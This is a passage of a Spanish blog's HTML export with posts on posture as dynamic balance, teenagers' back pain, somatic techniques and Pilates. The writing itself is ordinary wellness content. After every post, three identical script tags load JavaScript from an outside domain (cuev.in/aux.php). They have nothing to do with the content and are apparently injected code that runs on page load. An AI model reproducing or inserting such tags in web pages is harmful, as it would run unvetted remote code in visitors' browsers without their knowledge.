desmoronaba siempre que no la estuviese fijando en una posición “correcta” por
medios externos o por fuerza muscular.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Esta idea
de lo que implica una buena postura y cómo lograrla es bastante común. Una
rápida búsqueda en Google de “ejercicios posturales” arrojan un montón de
resultados que se ajustan a esta idea: qué músculos necesitas fortalecer para
mantenerte erguido (por lo general se habla de los músculos del “core” o
“centro”, o sea abdominales y espalda) y cuáles músculos deberías estirar para
sacarlos de su acortamiento crónico (principalmente los músculos que unen tus
piernas y brazos a tu tronco como ser los pectorales, isquiotibiales y psoas).<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Aclaremos,
no tengo nada contra estos ejercicios ya que comparto en cierta medida la idea
que la fuerza y flexibilidad relativa de ciertos grupos musculares juega un rol
importante en lo que damos a llamar “buena” postura. Sin embargo, sí tengo un
problema con el modelo de postura que los subyace e informa.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Desde la
perspectiva de las técnicas <i>somáticas </i>de
movimiento el término “postura” tal como es entendido habitualmente es un
concepto irrelevante, por lo tanto, no tiene sentido aferrarse ni al término en
sí ni a ninguna postura física que se considera “buena”. La palabra postura
(etimológicamente emparentada con la palabra “poste”) implica algo estático, y
la vida es todo menos estática. <o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Cuando
admiramos a alguien que tiene “buena postura” lo que en realidad estamos
admirando es su <i>alineación</i> ósea
congruente y óptima para con la actividad que está realizando en ese momento.
En inglés se usa la palabra “poise” que es algo así como “equilibrio dinámico”,
o sea tener buen “poise” es tener la capacidad de adaptarse a las
constantemente cambiantes demandas de equilibrio del cuerpo en el campo
gravitatorio de tal forma que no parece haber esfuerzo visible. Esta “quietud”
o “silencio” de esfuerzos innecesarios, este juego eficiente de pesos y
contrapesos, es la verdadera definición de “buena postura” y se manifiesta en
una <i>actitud</i> general del cuerpo y la
persona más que en una forma en particular.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">El mayor
problema con la interpretación habitual del término postura es que nos lleva a
pensar en formas <i>fijas</i>, estáticas,
inmóviles. El problema con esta concepción es que no se ajusta a la realidad
del cuerpo en el campo gravitatorio de la Tierra. Nos estamos moviendo siempre,
incluso cuando creemos que estamos quietos. En todo momento hay alguna parte de
nuestro cuerpo que está en movimiento (cómo mínimo el movimiento respiratorio),
y todo movimiento localizado genera adaptaciones en todas las otras partes del
cuerpo para mantener el equilibrio de la totalidad. <o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Es
evidente entonces que mantener la ilusión de una “buena postura” es más una
cuestión de administrar el equilibrio dinámico de partes en constante movimiento
que una cuestión de mantener ciertas partes de nuestra anatomía en una posición
fija (por ejemplo, “hombros bajos”). La postura es una danza, repleta de
improvisaciones y micro y macro ajustes de tono y dirección. Dado que todas
nuestras partes deben estar prontas para moverse en relación y respuesta al
movimiento de todas nuestras otras partes, tratar de mantener una postura fija
no es más que interferir con el acto de estar vivo.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Por
ejemplo, los omóplatos necesitan moverse como parte del movimiento de rotación
del tronco y por efecto del balanceo natural de los brazos. A su vez, los
omóplatos necesitan adaptar su posición en respuesta al movimiento de las
costillas al respirar. Al fijar los hombros en una posición única interferimos
con nuestro caminar y con nuestro respirar. Todo esto interfiere en el
movimiento y equilibrio de la columna, y cualquier cosa que interfiera con la
columna automáticamente aumenta el esfuerzo que debemos realizar para mover
nuestros brazos y piernas. <o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Obviamente
cuando desequilibras tu columna, desequilibras tu <i>eje</i>, y pocas cosas son más angustiantes para tu sistema que la
posibilidad de perder el equilibro y darte la cabeza contra el piso. En respuesta tu sistema aumenta la tensión
general del cuerpo. Como ves, un sistema desequilibrado en lo físico generará
un desequilibrio en lo psíquico. <o:p></o:p></span></div>
<br />
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Por lo
tanto te pregunto: ¿Y si en vez de tratar de mantener una postura fija <a href="https://www.blogger.com/null" name="_GoBack"></a>te preguntas si todo se está moviendo como debería?<o:p></o:p></span></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-9699794348006352442017-03-09T15:48:00.000-03:002017-03-09T15:48:00.472-03:00Primer Taller del 2017 en Montevideo<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8fl-c7sddZP9Aaulse6v912iSBwo27hh1FET57ZjxKJtN6q1OdwcswwGd6NYvn-X7mG2rCUZs-Phyphenhyphen8Tb_NwneAflER03tS4kmgkgQMRrtoZtir8x2glMN0Ciuzv801phcdBrBjk4nKI4y/s1600/Taller-Casa-Verde-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8fl-c7sddZP9Aaulse6v912iSBwo27hh1FET57ZjxKJtN6q1OdwcswwGd6NYvn-X7mG2rCUZs-Phyphenhyphen8Tb_NwneAflER03tS4kmgkgQMRrtoZtir8x2glMN0Ciuzv801phcdBrBjk4nKI4y/s640/Taller-Casa-Verde-1.jpg" width="457" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpDep2S64s0L0KVIfTKc_zHqIYh0O4dgEKlkwOlr68yxoa8W6jQosg0JJHyxLCFc_SCVhOhDK4WsyAmIu0A9yAG53SbeF2m1kebj9URWQlRGvyC6vRL-fXAZgnBO8m6zS7ddMkz_RCFRJJ/s1600/Taller-Casa-Verde+1b.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpDep2S64s0L0KVIfTKc_zHqIYh0O4dgEKlkwOlr68yxoa8W6jQosg0JJHyxLCFc_SCVhOhDK4WsyAmIu0A9yAG53SbeF2m1kebj9URWQlRGvyC6vRL-fXAZgnBO8m6zS7ddMkz_RCFRJJ/s640/Taller-Casa-Verde+1b.jpg" width="456" /></a></div>
<br />
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-18958495581245520892017-02-01T15:12:00.003-03:002017-02-01T15:12:38.827-03:00Postura y movimiento<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2U7MStbd-UZ6O90KicrTsfJrGLnw_7sWK4tPj5o62_G6IS4D3Q8Ecm8VvwC5G_gS3c3YJak_hz66RydGtL_j_UZuriwgcMrNWV7ATlPV8drIfzetIdRIVDTKV8rRCX_FaxN0IcwlqtST2/s1600/frognerpark-944864_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2U7MStbd-UZ6O90KicrTsfJrGLnw_7sWK4tPj5o62_G6IS4D3Q8Ecm8VvwC5G_gS3c3YJak_hz66RydGtL_j_UZuriwgcMrNWV7ATlPV8drIfzetIdRIVDTKV8rRCX_FaxN0IcwlqtST2/s1600/frognerpark-944864_640.jpg" /></a></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<i><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></i></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<i><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Estimulando el autoconocimiento y la autoconfianza a través del movimiento natural y la realineación postural.</span></i></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<i><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></i></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Hace años que les doy clases de inglés a adolescentes. Los veo venir, con sus cuerpos y sus psiques en constante cambio. A muchos los acompaño durante años y los veo crecer de niños grandes a jóvenes adultos. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Es a los 15 o 16 que empiezan las primeras quejas sobre dolores de espalda y cuello. Los veo hacerse unas moñas corporales, totalmente colapsados sobre el libro o cuaderno. Me cuentan algunos que van a hacerse masajes todas las semanas. ¿Tan jóvenes?<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">La mayoría de los adolescentes, si les das la opción, se quedarían vegetando en un sillón, mirando tele o jugando con el celular, en un eterno letargo que parece retroalimentarse cuanto más se practica. Y es que la falta de movimiento genera un círculo vicioso, que produce mala circulación y acumulación de toxinas metabólicas, lo que a su vez tendrá como consecuencia más letargo, sensación de pesadez corporal y, por ende, aún menos disposición al movimiento.<b><o:p></o:p></b></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">El problema es que moverse en la adolescencia dejó de ser un placer y pasó a ser un deber. Los niños chicos están llenos de energía y mayormente faltos de malos hábitos posturales. Pero a medida que crecemos y dejamos de movernos como la naturaleza nos diseñó, y empezamos a movernos más según un programa externo, moverse deja de ser una herramienta de autodescubrimiento y pasa a ser, en algunos casos, una herramienta de tortura. Muchos adolescentes detestan el ejercicio físico, aunque lo practiquen, porque no está asociado al placer de moverse y descubrir su potencial, sino a competir, juzgarse, dominar el cuerpo, o a una imposición del sistema educativo y de una sociedad que valora los cuerpos flacos y tonificados. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Crecemos desconociendo nuestro propio cuerpo, sus estructuras y sus funciones. Por tanto no le brindamos los estímulos que necesita para regenerarse y prosperar, y en vez le ofrecemos estímulos para los que no está correctamente organizado ni preparado. El resultado final es generalmente el dolor, la contractura, la tensión y a veces la lesión… que de paso nos inmoviliza aún más. En los hechos, el comentario que más recibo de mis alumnos adultos de reeducación postural consciente es: “¿por qué no me enseñaron esto de joven?”<b><o:p></o:p></b></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14pt; line-height: 115%;"><b><span style="color: #990000;">Una buena postura tendría que ser lo más natural para todos… </span><o:p></o:p></b></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">La estructura, la función y el estímulo son interdependientes. En otras palabras, nuestro cuerpo (estructura) está diseñado para el movimiento (función) usando la gravedad (estímulo) a su favor. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">Todos los seres que poseen una columna vertebral utilizan la presión hacia abajo que genera su propio peso para generar una contrapresión elástica que los impulsa hacia arriba y adelante. </span><o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Esta presión-contrapresión elástica y rítmica, que se transmite de cabeza a pies y de pies a cabeza, depende, para su transmisión fluida, del movimiento proporcional y armónico de todas las partes del cuerpo. A lo largo de la evolución de los seres vertebrados se desarrollaron ciertas configuraciones de movimiento que permiten este fluir ininterrumpido, resultando en un movimiento global eficiente y económico en esfuerzo. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">Para mantener un sistema músculo-esquelético sano y que lleva a cabo un movimiento eficiente, es necesario un sistema nervioso ágil y despierto, que coordine todas las partes del cuerpo en una alineación postural continua y coherente. </span><o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Cuando se adormece esta cualidad autoperceptiva del sistema nervioso, ciertas partes del cuerpo se pierden del mapa perceptivo, lo cual las lleva a no participar de los movimientos. Esta falta de movimiento es compensada por alguna otra parte, que aumentará desproporcionalmente el suyo para permitirnos seguir en la danza con la gravedad. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Pero, lo que era una melodía armónica de movimiento fluido, pasa a ser un montón de ruido entrecortado… y esta disonancia genera dolor, contracturas, lesiones, jaquecas, vértigos y una larga lista de quejas del cuerpo.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">Una postura colapsada y rigidizada tiene además efectos sobre el humor y el estado general de ánimo.</span></span></b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"> <o:p></o:p></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Cuando el fluir de la presión-contrapresión a través del cuerpo no nos lleva hacia arriba, quedarse colapsado en un sillón, haciendo nada, pasa a ser una opción muy tentadora. Moverse duele, cuesta, el cuerpo lleno de toxinas metabólicas genera más letargo… y la descoordinación neuro-motora no hace del movimiento dinámico algo entusiasmante.<a href="https://www.blogger.com/null" name="_GoBack"></a><o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">¿Cómo salir de este dilema?</span><o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Ya todos sabemos que es necesario moverse para potenciar la salud y el bienestar mental y corporal. El problema es que, en general, nos re-iniciamos en el ejercicio físico cuando ya estamos en un estado de descoordinación. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">La primera consideración que deberíamos tener antes de comenzar a hacer cualquier ejercicio de impacto es asegurarnos que nuestra postura es lo suficientemente confiable para proteger las articulaciones más vulnerables</span></span></b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">: </span><b><span style="color: #990000;">cuello, espalda baja, caderas, hombros y rodillas</span>.</b> <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><b><br /></b></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Si nuestra postura no está bien alineada vamos a estar cargando con tensión extra, vamos a realizar más esfuerzo del necesario, y además corremos el riesgo de lesionarnos. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">Para lograr una buena integración postural hay que desaprender estrategias adquiridas que resultan poco eficientes y redescubrir formas de organizar e integrar posturalmente nuestro tronco, cabeza y miembros que se asemejan más a las estrategias que utilizamos de bebés.</span></span></b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"> <o:p></o:p></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Pero, a diferencia de en aquellos primeros pasos, el re-aprendizaje en el adolescente y el adulto requiere de conciencia, en especial de la autoconciencia y autopercepción, ya que para darle lugar a nuevas formas es necesario inhibir hábitos muy practicados.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Más el resultado vale la pena: lograr movernos con placer nos vuelve más dispuestos hacia el movimiento y nos inspira a redescubrir y conquistar nuestro potencial.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<br />
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">- Victoria</span><o:p></o:p></span></b></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com1tag:blogger.com,1999:blog-1987438956695353649.post-28398393211780064982017-01-27T18:13:00.000-03:002017-01-27T18:13:46.607-03:00¿Qué es la Somática?<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglYWSAvy-G_Kv8vnPyR_MPRzbAUJMv8qZzdkMDy3ugXzsqLbNajMnMTd8n9Gmw_VXhYFYRT63QvwcnZvdv6yntKiUTbUMfe41UFj804yqFqRAdW4OS9g8w2v1w9wHHUfyAbpqb4GNyp215/s1600/buddha-1308478_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglYWSAvy-G_Kv8vnPyR_MPRzbAUJMv8qZzdkMDy3ugXzsqLbNajMnMTd8n9Gmw_VXhYFYRT63QvwcnZvdv6yntKiUTbUMfe41UFj804yqFqRAdW4OS9g8w2v1w9wHHUfyAbpqb4GNyp215/s1600/buddha-1308478_640.jpg" /></a></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Técnicas somáticas son aquellas que consideran al
cuerpo desde su experiencia y regulación ‘desde adentro’, a diferencia de la
mirada más tradicional que toma al cuerpo como una ‘máquina’, separada de la
mente y la imaginación creativa. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Las técnicas somáticas se centran en la pregunta de
cómo la conciencia habita el cuerpo vivo (el término deriva del griego ‘<i>somatikos</i>’, de ‘<i>soma</i>’: persona viva, consciente y encarnada) y estudian al ‘<i>ser</i>’ desde la perspectiva de la propia
experiencia vivida en cuerpo, psique y espíritu. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<br />
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Las técnicas de educación somática del movimiento
intentan despertar la consciencia del propio cuerpo en y a través del
movimiento. Son ejemplos de técnicas somáticas la Técnica Alexander, el Método
Feldenkrais, el método de Movimiento Inteligente de Ruthy Alon, entre muchas
otras. </span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">El Método Pilates puede ser tanto una técnica somática como un sistema
de ejercicio físico, según cómo se encare su práctica.<o:p></o:p></span></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-35174844962203953432017-01-22T18:30:00.001-03:002017-01-22T18:30:26.663-03:00Pilates: ¿ejercicio físico o práctica somática?<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoFb8H__GqY0NcNMpQNdT5vjpKh0c-GVr9RQ6AxS-us899SAxG9tlIjSMheqBs0Lr6Uo-oNPwEmOiLhWXmHi25_XcniEQfJdqovj-e29pmwDX-X4bQyqSzIYCvwQFZUv0BSQ-iVB2wWLzb/s1600/art-1405534_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoFb8H__GqY0NcNMpQNdT5vjpKh0c-GVr9RQ6AxS-us899SAxG9tlIjSMheqBs0Lr6Uo-oNPwEmOiLhWXmHi25_XcniEQfJdqovj-e29pmwDX-X4bQyqSzIYCvwQFZUv0BSQ-iVB2wWLzb/s1600/art-1405534_640.jpg" /></a></div>
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;"><br /></span>
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">Estoy de
semi-vacaciones hasta fin de mes y esto me deja suficiente tiempo y energía
para empacharme diariamente de movimiento en todo su espectro: desde el
ejercicio físico puro y duro (correr y ejercicios de fuerza, potencia, y
velocidad), pasando por el Pilates en sus versiones de mat y aparatos, y
finalizando con procesos de Bones for Life (práctica netamente somática de
conciencia y escucha corporal).<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">Estos
tres puntos del espectro del movimiento desafían a mi cuerpo, mente y espíritu
desde diferentes ángulos. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">El
ejercicio físico más clásico, con su énfasis en la velocidad, intensidad y
potencia no me da suficiente tiempo para “pensarme” y me obliga a confiar en la
organización postural que ya tengo integrada. Esto quiere decir que también
revela los lugares donde no la tengo tan clara. A su vez, me pone en un estado
psico-físico muy diferente al que accedo desde las prácticas más “suaves”,
recluta mi energía “yang” por así decirlo.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">En
contrapunto, los procesos somáticos, con su énfasis en la conciencia, el “menos
es más” y la escucha profunda me obligan a notar las consecuencias en todo mi
ser de cada acto, cada movimiento, cada esfuerzo, para poder soltar lo que no
es necesario y lo que me lleva en direcciones opuestas a mi objetivo. Las
prácticas somáticas son momentos de mucha “honestidad”, donde tengo que
reconocer lo que está ahí y lo que no, es permitirle a mi soma expresarse sin
imponerle mis pre-conceptos, es dejarme sorprender por lo que me muestra.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">En un
punto medio, el Pilates ocila entre ejercicio físico conciente y conciencia del
físico en el ejercicio... según como uno quiera prácticarlo. El foco principal
del Método Pilates es lograr espacio, flexibilidad y estabilidad en la columna
vertebral a fin de darle espacio a la respiración y los órganos durante el
movimiento. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES;">Practicar
Pilates es aprender a moverse sin perder ese espacio vital. Esto requiere
“pensar” para moverse, organizar el cuerpo desde adentro. Pilates no son los
ejercicios que se practican, sino cómo y con qué objetivo se ejecutan esos
ejercicios. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
